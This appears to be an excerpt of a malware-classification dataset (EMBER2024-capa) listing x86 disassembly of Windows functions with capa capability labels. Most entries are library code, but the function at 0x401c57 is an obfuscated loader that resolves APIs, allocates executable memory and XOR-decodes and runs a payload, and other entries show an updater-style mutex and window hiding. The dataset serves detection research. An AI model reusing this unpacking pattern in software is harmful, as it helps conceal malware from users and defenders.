joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40fde5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x24
mov eax, 0x4423a6
call fcn.0042d0cb
mov esi, ecx
mov dword [ebp - 0x20], esi
mov eax, dword [esi + 0x60]
mov dword [ebp - 0x1c], eax
mov eax, dword [esi + 0x5c]
mov dword [ebp - 0x18], eax
call fcn.004172b8
mov edi, dword [eax + 0xc]
xor ebx, ebx
cmp dword [esi + 0x58], ebx
je 0x40fe30
call fcn.004172b8
mov edi, dword [eax + 0xc]
push 5
push dword [esi + 0x58]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
je 0x40fe41
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jne 0x40fe4e
or eax, 0xffffffff
jmp 0x40ffaa
mov ecx, esi
call fcn.0040f937
mov dword [ebp - 0x14], eax
call fcn.004127f2
and dword [ebp - 0x28], ebx
cmp dword [ebp - 0x14], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x24], ebx
je 0x40fecc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
cmp dword [ebp - 0x14], eax
je 0x40fecc
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x40fecc
push 0
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x2c], 1
call fcn.0040f7c6
mov ebx, eax
test ebx, ebx
mov dword [ebp - 0x24], ebx
je 0x40fecc
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x120]
test eax, eax
je 0x40fecc
mov ecx, ebx
call fcn.00416160
test eax, eax
je 0x40fecc
push 0
mov ecx, ebx
call fcn.0041617b
mov dword [ebp - 0x28], 1
and dword [ebp - 4], 0
push esi
call fcn.004141dc
push dword [ebp - 0x14]
call fcn.0041274a
push edi
push eax
push dword [ebp - 0x1c]
mov ecx, esi
call fcn.0040fbed
xor edi, edi
cmp eax, edi
je 0x40ff29
test byte [esi + 0x3c], 0x10
je 0x40ff13
push 4
pop edi
mov ecx, esi
call fcn.0041601d
test ax, 0x100
je 0x40ff09
push 5
pop edi
push edi
mov ecx, esi
call fcn.004122bb
xor edi, edi
cmp dword [esi + 0x20], edi
je 0x40ff29
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.0041634e
or dword [ebp - 4], 0xffffffff
jmp 0x40ff54
cmp dword [ebp - 0x28], edi
je 0x40ff62
push 1
mov ecx, ebx
call fcn.0041617b
cmp dword [ebp - 0x2c], edi
je 0x40ff72
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x40ff8b
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x20]
jne 0x40ff8b
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x60]
mov ecx, esi
call fcn.0040f971
cmp dword [esi + 0x58], edi
je 0x40ffa7
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [esi + 0x44]
call fcn.0042d170
ret
Function at 0x4137da
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x413813
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0041379d
push eax
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00412643
pop esi
ret 4
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
pop esi
jmp dword [eax + 0x8c]

Function at 0x414e41
Capabilities:
Get graphical window text

Disassembly:
push esi
push edi
mov edi, dword [esp + 0x10]
mov esi, ecx
push 0x44c78c
mov ecx, edi
call fcn.004049d0
cmp dword [esi + 0x4c], 0
push dword [esp + 0xc]
jne 0x414e94
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, eax
test esi, esi
je 0x414ea7
push esi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
push eax
mov ecx, edi
call fcn.0041379d
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0xffffffffffffffff
mov ecx, edi
call fcn.00412643
jmp 0x414ea7
mov ecx, esi
call fcn.00415f7e
test eax, eax
je 0x414ea7
push edi
mov ecx, eax
call fcn.004137da
mov eax, dword [edi]
mov eax, dword [eax - 0xc]
pop edi
pop esi
ret 8

Function at 0x41538b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x14], edi
mov ebp, ecx
je 0x4153ce
call fcn.004172b8
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x4153ce
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x4153e9
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
push ebx
mov ecx, ebp
call fcn.00414f45
test ebx, ebx
mov esi, eax
je 0x4153e7
test edi, edi
je 0x4153e7
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x4191d0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x45a790]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0x800
push ebx
push esi
mov esi, ecx
mov ebx, edx
lea eax, [ebp - 0xc]
jne 0x41920d
push 0x4473c0
push 4
push eax
call fcn.0042b5fe
push eax
call fcn.00404940
add esp, 0x10
jmp 0x41921f
push 4
push eax
push 3
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x41928a
push edi
call fcn.0042cad1
mov edi, dword [eax]
call fcn.0042cad1
and dword [eax], 0
lea eax, [ebp - 0xc]
push eax
push ebx
push esi
push 0x111
mov esi, 0x112
lea eax, [ebp - 0x230]
push esi
push eax
call fcn.0042b686
add esp, 0x18
mov ebx, eax
call fcn.0042cad1
cmp dword [eax], 0
je 0x41926a
call fcn.0042cad1
push dword [eax]
call fcn.00410080
pop ecx
jmp 0x419271
call fcn.0042cad1
mov dword [eax], edi
cmp ebx, 0xffffffff
pop edi
je 0x41928a
cmp ebx, esi
jae 0x41928a
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
jmp 0x41928c
xor eax, eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0042b53d
leave
ret
Function at 0x41a452
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
je 0x41a498
call fcn.004172b8
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x41a498
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [ebp - 4], eax
je 0x41a4db
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
je 0x41a4c4
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x41a4c4
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x41a4d8
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x42b53d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x45a790]
jne 0x42b547
repz ret
jmp fcn.00432f7e
Function at 0x4304e6
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x45a7c0]
je 0x430501
inc edi
cmp edi, 0x17
jb 0x4304f2
cmp edi, 0x17
jae 0x430681
push ebp
push 3
call fcn.0043a7f2
cmp eax, 1
pop ecx
je 0x43064d
push 3
call fcn.0043a7f2
test eax, eax
pop ecx
jne 0x430535
cmp dword [0x45a5fc], 1
je 0x43064d
cmp ebx, 0xfc
je 0x430680
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x45eac8
push ebp
call fcn.004351e9
add esp, 0xc
test eax, eax
je 0x43056b
push esi
push esi
push esi
push esi
push esi
call fcn.0042c412
add esp, 0x14
push 0x104
mov esi, 0x45eae1
push esi
push 0
mov byte [0x45ebe5], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4305af
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.004351e9
add esp, 0xc
test eax, eax
je 0x4305af
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.0042c412
add esp, 0x14
push esi
call fcn.0042f530
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x4305f4
push esi
call fcn.0042f530
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x45eddc
push 0x449344
sub ecx, eax
push ecx
push eax
call fcn.0043a73f
add esp, 0x14
test eax, eax
je 0x4305f4
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.0042c412
add esp, 0x14
jmp 0x4305f6
xor esi, esi
push 0x449340
push ebx
push ebp
call fcn.0042cc18
add esp, 0xc
test eax, eax
je 0x430616
push esi
push esi
push esi
push esi
push esi
call fcn.0042c412
add esp, 0x14
push dword [edi*8 + 0x45a7c4]
push ebx
push ebp
call fcn.0042cc18
add esp, 0xc
test eax, eax
je 0x430638
push esi
push esi
push esi
push esi
push esi
call fcn.0042c412
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.0043a582
add esp, 0xc
jmp 0x430680
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x430680
cmp ebp, 0xffffffff
je 0x430680
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x45a7c4]
push dword [esi]
call fcn.0042f530
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x43a582
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00431096
xor ebx, ebx
cmp dword [0x45f5d0], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x43a658
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x43a738
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x43a738
push eax
call fcn.00431028
mov dword [esp], 0x44966c
push edi
mov dword [0x45f5d0], eax
call esi
push eax
call fcn.00431028
mov dword [esp], 0x449658
push edi
mov dword [0x45f5d4], eax
call esi
push eax
call fcn.00431028
mov dword [0x45f5d8], eax
lea eax, [ebp - 0xc]
push eax
call fcn.0042f0d3
test eax, eax
pop ecx
pop ecx
je 0x43a626
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0042c412
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x43a658
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00431028
cmp eax, ebx
pop ecx
mov dword [0x45f5e0], eax
je 0x43a658
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00431028
pop ecx
mov dword [0x45f5dc], eax
mov eax, dword [0x45f5dc]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x43a6dd
cmp dword [0x45f5e0], ecx
je 0x43a6dd
push eax
call fcn.0043109f
push dword [0x45f5e0]
mov esi, eax
call fcn.0043109f
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x43a6dd
cmp edi, ebx
je 0x43a6dd
call esi
cmp eax, ebx
je 0x43a6aa
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x43a6aa
test byte [ebp - 0x18], 1
jne 0x43a6dd
lea eax, [ebp - 0x10]
push eax
call fcn.0042f10a
test eax, eax
pop ecx
je 0x43a6c5
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0042c412
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x43a6d4
or dword [ebp + 0x10], 0x200000
jmp 0x43a718
or dword [ebp + 0x10], 0x40000
jmp 0x43a718
mov eax, dword [0x45f5d4]
cmp eax, dword [ebp - 8]
je 0x43a718
push eax
call fcn.0043109f
cmp eax, ebx
pop ecx
je 0x43a718
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x43a718
mov eax, dword [0x45f5d8]
cmp eax, dword [ebp - 8]
je 0x43a718
push eax
call fcn.0043109f
cmp eax, ebx
pop ecx
je 0x43a718
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x45f5d0]
call fcn.0043109f
cmp eax, ebx
pop ecx
je 0x43a738
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x43a73a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x441f24
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x45a790]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.00441eb9
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.0042d1b0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x441f73
cmp dword [ebp - 0x1c], 5
jb 0x441f8b
jmp 0x441f87
cmp dword [ebp - 0x10], 1
jne 0x441f8b
cmp dword [ebp - 0x1c], 4
ja 0x441f87
jne 0x441f8b
cmp dword [ebp - 0x18], 0
jbe 0x441f8b
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x44b028
call fcn.00441daa
test eax, eax
jge 0x441fac
mov byte [0x45f9c8], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0042b53d
add ebp, 0x78
leave
ret
Function at 0x401230
Capabilities:
Accept command line arguments

Disassembly:
push 0xffffffffffffffff
push 0x444828
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebp
push esi
push edi
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
lea ecx, [esp + 0x10]
call fcn.0043b931
mov edx, dword [esp + 0xc]
xor esi, esi
mov dword [esp + 0x20], esi
mov ebp, dword [edx - 8]
mov dword [edi + 0xc0], esi
cmp ebp, esi
jle 0x401363
cmp esi, ebp
jge 0x401363
lea eax, [edx + esi*2]
cmp word [eax], 0x20
jne 0x401297
inc esi
add eax, 2
cmp esi, ebp
jge 0x401363
jmp 0x401283
cmp esi, ebp
jge 0x401363
cmp word [edx + esi*2], 0x22
lea eax, [edx + esi*2]
jne 0x401305
inc esi
cmp esi, ebp
mov ecx, esi
jge 0x4012c1
lea eax, [edx + esi*2]
cmp word [eax], 0x22
je 0x4012c1
inc esi
add eax, 2
cmp esi, ebp
jl 0x4012b3
mov eax, esi
sub eax, ecx
push eax
push ecx
lea ecx, [esp + 0x18]
push ecx
lea ecx, [esp + 0x18]
call fcn.00439ca8
mov edx, dword [edi + 0xc0]
push eax
mov byte [esp + 0x24], 1
lea ecx, [edi + edx*4 + 0xc4]
inc edx
mov dword [edi + 0xc0], edx
call fcn.0043ba04
lea ecx, [esp + 0x10]
mov byte [esp + 0x20], 0
call fcn.0043b8bd
inc esi
jmp 0x401356
mov ecx, esi
cmp word [eax], 0x20
je 0x401315
inc esi
add eax, 2
cmp esi, ebp
jl 0x401307
mov edx, esi
lea eax, [esp + 0x14]
sub edx, ecx
push edx
push ecx
push eax
lea ecx, [esp + 0x18]
call fcn.00439ca8
mov edx, dword [edi + 0xc0]
push eax
mov byte [esp + 0x24], 2
lea ecx, [edi + edx*4 + 0xc4]
inc edx
mov dword [edi + 0xc0], edx
call fcn.0043ba04
lea ecx, [esp + 0x14]
mov byte [esp + 0x20], 0
call fcn.0043b8bd
cmp esi, ebp
jge 0x401363
mov edx, dword [esp + 0xc]
jmp 0x401278
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 0xffffffff
call fcn.0043b8bd
mov ecx, dword [esp + 0x18]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x18
ret
Function at 0x407960
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, ecx
push eax
lea ecx, [esi + 0x18]
call fcn.0043ba54
mov ecx, dword [esp + 0xc]
push ecx
lea ecx, [esi + 0x28]
call fcn.0043ba54
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
test eax, eax
mov dword [esi + 0xc], 1
mov dword [esi + 4], edx
jne 0x40799e
mov ecx, esi
call fcn.004076f0
pop esi
ret 0x10
push esi
push 0
push 0x407620
call fcn.0042b877
add esp, 0xc
pop esi
ret 0x10

Function at 0x4083a0
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x58], ecx
mov eax, 1
ret
Function at 0x43e9c5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x43ea07
call fcn.00443662
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [0x45fc64]
cmp eax, edi
je 0x43ea07
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x43e9fe
xor eax, eax
jmp 0x43ea0f
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0043ea15
pop edi
pop esi
pop ebx
ret 4

Function at 0x441cf9
Capabilities:
Create http request

Disassembly:
mov eax, 0x444fc0
call fcn.0042cfd8
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
mov eax, dword [ebp + 0xc]
and dword [ebp - 4], 0
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
test eax, eax
mov dword [esi], vtable.CInternetSession.0
jne 0x441d31
call fcn.00443662
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
test eax, eax
mov dword [esi + 8], eax
jne 0x441d56
push eax
push dword [esi + 4]
call fcn.00442a89
jmp 0x441d62
push esi
push eax
mov ecx, 0x463c10
call fcn.00441d73
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 0x18

Function at 0x441eef
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, 0x444ffb
call fcn.0042cfd8
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.0043fbe1
mov eax, dword [0x45c2e0]
lea ebx, [esi + 0x24]
xor edi, edi
mov dword [ebp - 4], edi
mov dword [ebx], eax
mov eax, dword [ebp + 0x10]
mov dword [esi], vtable.CInternetFile.0
mov ecx, 0x463c10
mov byte [ebp - 4], 1
push dword [eax + 0xc]
push dword [ebp + 8]
call fcn.00441d73
push dword [ebp + 0xc]
lea ecx, [esi + 0xc]
call fcn.0043ba54
mov ecx, dword [ebp + 0x10]
mov eax, dword [ecx + 8]
mov dword [esi + 0x1c], eax
lea eax, [ebp + 0x10]
push eax
call fcn.00429cd5
push eax
mov ecx, ebx
mov byte [ebp - 4], 2
call fcn.0043ba04
lea ecx, [ebp + 0x10]
mov byte [ebp - 4], 1
call fcn.0043b8bd
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x14], eax
mov eax, dword [ebp + 0x14]
mov dword [esi + 0x18], eax
mov dword [esi + 0x3c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x40], edi
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x10
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x401c66
pop dword [ebp - 0x18]
mov eax, 0xe6df0cd7
sub eax, 0xe69ef071
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x92ceac16
sub dword [ebp - 0x28], 0x447c66cb
mov dword [ebp - 0x24], 0xc4a209f2
add dword [ebp - 0x24], 0x6d914253
mov dword [ebp - 0x20], 0x92bad362
sub dword [ebp - 0x20], 0x466e8f34
mov dword [ebp - 0x1c], 0xf4b8107e
add dword [ebp - 0x1c], 0xb47ef82
lea eax, [ebp - 0x28]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xb05e611f
add dword [ebp - 0x28], 0xc4140837
mov dword [ebp - 0x24], 0x34888cb1
sub dword [ebp - 0x24], 0xf31c2b3c
mov dword [ebp - 0x20], 0xbee140be
sub dword [ebp - 0x20], 0x5b71d452
mov dword [ebp - 0x1c], 0x4be2c104
sub dword [ebp - 0x1c], 0x4be2c104
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x42384f94
sub eax, 0x41f81f68
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x37692
push 0
call eax
mov ecx, 0x4bb8
xor esi, esi
add esi, eax
mov edx, 0x1b055d9a
sub edx, 0x1ac4ed9a
add edx, dword [ebp - 0x18]
mov edi, 0xa543b3ff
sub edi, 0xcccfab01
mov dword [ebp - 0x10], 0xcc65ddf4
mov ebx, dword [edx]
xor ebx, edi
xor dword [ebp - 0xc], edx
mov dword [esi], ebx
xor dword [ebp - 0xc], 0x515a1ee5
add esi, 0xa272f12d
sub esi, 0xa272f129
add edx, 4
loop 0x401d7f
add eax, 0xfed767c4
sub eax, 0xfed64611
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x1000c475
Capabilities:
Check if file exists
Check mutex on windows

Disassembly:
push 0x1002b7b4
push 0
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexW]
test eax, eax
je 0x1000c496
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
xor eax, eax
inc eax
ret
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 2
jne 0x1000c492
xor eax, eax
ret

Function at 0x1000c4a4
Capabilities:
Check if file exists
Check mutex on windows

Disassembly:
push str.GlobalAcro_Update_Mutex
push 0
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexW]
test eax, eax
je 0x1000c4c5
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
xor eax, eax
inc eax
ret
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 2
jne 0x1000c4c1
xor eax, eax
ret

Function at 0x10010a25
Capabilities:
Check os version

Disassembly:
push 0x14c
mov eax, 0x10028360
call fcn.100265a9
mov esi, ecx
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x28]
push eax
xor bl, bl
call fcn.10010805
and dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
cmp dword [ebp - 0x14], 8
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0x18]
cmovae ecx, dword [ebp - 0x28]
push dword [sym.imp.MSVCR120.dll_towlower]
cmovae edx, dword [ebp - 0x28]
push edx
lea eax, [ecx + eax*2]
push eax
lea ecx, [ebp - 0x28]
cmovae ecx, dword [ebp - 0x28]
lea eax, [ebp - 0x158]
push ecx
push eax
call fcn.10010805
mov edi, 0x114
lea eax, [ebp - 0x154]
push edi
push 0
push eax
call sub.MSVCR120.dll_memset
add esp, 0x20
mov dword [ebp - 0x154], edi
lea eax, [ebp - 0x154]
push eax
call dword [sym.imp.kernel32.dll_GetVersionExW]
xor ecx, ecx
inc ecx
test eax, eax
je 0x10010ad7
cmp dword [ebp - 0x150], 5
jne 0x10010ad7
cmp dword [ebp - 0x14c], ecx
jne 0x10010ad7
lea eax, [ebp - 0x28]
mov ecx, esi
push eax
call fcn.10010f8c
test al, al
je 0x10010ad4
xor eax, eax
inc eax
mov bl, al
jmp 0x10010b35
xor ecx, ecx
inc ecx
and dword [ebp - 0x30], 0
xor eax, eax
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
lea eax, [ebp - 0x40]
mov byte [ebp - 4], cl
push eax
call fcn.100124b6
pop ecx
test al, al
je 0x10010b20
push dword [ebp - 0x30]
cmp dword [ebp - 0x2c], 8
lea eax, [ebp - 0x40]
push 0
cmovae eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x28]
push eax
call fcn.10010805
cmp eax, 0xffffffff
movzx ebx, bl
push 1
pop eax
cmovne ebx, eax
jmp 0x10010b23
xor eax, eax
inc eax
push 0
push eax
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0
call fcn.10010805
xor eax, eax
inc eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
push 0
push eax
call fcn.10010805
mov al, bl
call fcn.10026558
ret 4
Function at 0x2e01a35d
Capabilities:
Hide graphical window

Disassembly:
push 0
push dword [ecx]
call dword [sym.imp.USER32.dll_ShowWindow]
ret

Function at 0x2e01a683
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
mov esi, ecx
xor edi, edi
cmp dword [esi + 8], edi
je 0x2e01a6af
lea ecx, [ebp - 1]
call fcn.2e0193bf
mov al, byte [eax]
mov byte [ebp + 0xb], al
push 0x2e0435d0
lea eax, [ebp + 0xb]
push eax
call fcn.2e02ee42
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0xc], eax
cmp eax, edi
jne 0x2e01a6df
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp - 0xc]
call fcn.2e00e813
mov eax, dword [eax]
mov dword [ebp + 8], eax
push 0x2e041f6c
lea eax, [ebp + 8]
jmp 0x2e01a6a9
mov al, byte [ebp + 8]
mov byte [esi + 0x10], al
lea eax, [ebp - 8]
push eax
push edi
push esi
push 0x2e01a619
push edi
push edi
mov dword [ebp - 8], edi
call fcn.2e03079c
add esp, 0x18
push 0xffffffffffffffff
push dword [esi + 0xc]
mov dword [esi + 8], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0xc], edi
pop edi
pop esi
leave
ret 4